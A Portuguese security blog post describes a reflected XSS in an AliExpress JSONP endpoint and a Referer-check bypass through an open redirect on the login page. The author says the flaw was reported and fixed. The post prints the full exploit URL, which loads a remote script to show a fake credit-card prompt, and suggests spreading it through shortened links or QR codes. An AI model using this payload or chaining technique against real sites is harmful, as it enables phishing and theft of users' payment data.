Bem vindos ao Blog da comunidade ITsafe



Boa Leitura


Blog em em português sobre construção . Por favor se encontrar algo que necessite correção entre em contato. Os vídeos do blog ainda estão em hebraico, mas em breve estaremos traduzindo com a mesma qualidade que traduzimos os cursos.


Injeção de código AliExpress

Neste blog, apresentarei uma descoberta que encontrei com Dikla Barda no AliExpress.

Como você sabe, o AliExpress usa cupons como um método para atrair novos clientes e reter clientes existentes. Quando você compra no site, recebe cupons para resgatar e, se você é um novo cliente, recebe um cupom para um novo cliente.

Você também pode ver, ao pagar pelos produtos no site, que o AliExpress oferece a você salvar suas informações de crédito e também oferece um cupom se você salvar suas informações de crédito no sistema AliPay.

É assim que um dos cupons do AliExpress se parece para os clientes que mantêm suas informações de crédito:
Cupon do Aliexpress dando 5 Dolares de desconto
então, ocorreu-nos tentar examinar as defesas do AliExpress e detectar falhas de segurança no sistema e, é claro, denunciá-las para manter seu site seguro.

Vídeo de demonstração:


A parte técnica

Durante o estudo, descobrimos que o AliExpress usa um grande número de subdomínios, o que nos levou a percorrer um subdomínio para outro até encontrarmos o seguinte subdomínio:
us.cobra.aliexpress.com
que usa o parâmetro :
cb
Você pode ver que o parâmetro é refletido na resposta da mensagem:
Parâmetro refletido na mensagem de resposta
Além do reflexo do parâmetro, é possível ver que o tipo de content-type retornada é text/html, o que faria com que o navegador executasse nosso código, se o tipo de conteúdo fosse application/javascript, o código não executaria e o XSS não funcionaria.

Outro ponto que eu gostaria de destacar é que o estranho comportamento de criação de parâmetros na barra de endereços que afeta o nome de uma função de resposta, como o AliExpress fez, na verdade, faz parte da implementação do jsonp.

Sobre o jsonp e o método pode ser lido em profundidade em meu curso completo - "Teste de resiliência cibernética na Web" "Teste de resiliência cibernética na Web"

Agora, vinculamos ao XSS e tentaremos exibir a mensagem de alert(1) assim:
https://us.cobra.aliexpress.com/p4pforlist.html?pid=801_0000_0107&cb=>scrtip>alert(1)>/script>
Copiamos o link para o navegador e o abrimos, mas, para nossa surpresa, nada apareceu, porém recebemos a seguinte resposta:
A resposta é
Por alguma razão, o reflexo não apareceu, revisamos a resposta anterior:
Parâmetro voltando na resposta
e vemos essa mensagem de fato Reflexão e tudo funciona, usamos a ferramenta de comparador do burp suite (comparer) e comparamos os pacotes.

A diferença entre os pacotes é o título do referer, o pacote com o título do referer tem uma resposta do servidor porém o pacote sem o título do referer não há resposta do servidor.

Sobre o referer, também explico no curso completo – "Teste de resiliência cibernética na Web".

Após testar os pacotes e examiná-los, concluímos que o AliExpress usa o título do referer para bloquear ataques XSS, garantindo que as referências sejam apenas do domínio do AliExpress e não chegam diretamente ao abrir o navegador pela barra de endereço.

Deve-se dizer que essa é uma defesa interessante, mas não é útil se for encontrado um open redirect que navegará até a página vulnerável e adicionará o próprio título.

Na verdade, mudamos nosso foco para a detecção de open redirect e, para nossa surpresa, no formulário de login principal, há um redirecionamento aberto que leva o usuário à página especificada sob o parâmetro: params
params
então tudo o que precisamos fazer é concatenar o payload do XSS para o parâmetro params e permitir que o AliExpress faça uma transição direta para o nosso payload, e mais ainda! Se o sistema lembrar o nome de usuário e a senha do usuário, você será transferido diretamente para uma página com o XSS e se o sistema não se lembrar, você irá para a página do xss após inserir o nome de usuário e senha diretamente da página oficial de login!

É assim que o payload final se parece:
https://login.aliexpress.com/havana_login_check.htm?site=4&loginurl=https://us.cobra.aliexpress.com/p4pforlist.html?pid=801_0000_0107%26cb=3D%253Cscript%253Ealert%25281%2529%253C%252Fscript%253E&**params =https://us.cobra.aliexpress.com/p4pforlist.html?pid=801_0000_0107%26**cb=%253Cscript%2Btype%253D%2527text%252Fjavascript%2527%2Bsrc%253D %2522https%253A%252F%252Fgmailtracker.com%252Fpoc.js%2522%253E%253C%252Fscript%253E****
É claro que, se um invasor mal-intencionado quiser explorá-lo, ele diminuirá o link para algo assim:

ou até mesmo cum ódigo QR pode ser criado::
Código QR com link malicioso
Clicar em um dos links ou alternativamente no código QR fará com que nosso código seja executado e a seguinte janela será aberta:
Solicitação de informações de crédito injetadas em-aliexpress
Observe que reportamos ao AliExpress - e eles responderam de forma responsável corrigindo as falhas em poucos dias e até adicionaram nossos nomes ao Hall da Fama:
Fomos classificados em 38º na página dos pesquisadores aliexpress

Compartilhe este post